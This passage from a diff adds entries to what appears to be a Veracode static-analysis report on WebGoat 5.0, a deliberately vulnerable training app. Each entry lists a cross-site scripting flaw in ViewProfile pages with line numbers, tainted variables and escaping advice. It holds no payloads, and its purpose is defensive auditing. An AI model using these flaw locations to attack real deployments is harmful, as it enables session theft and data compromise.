+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
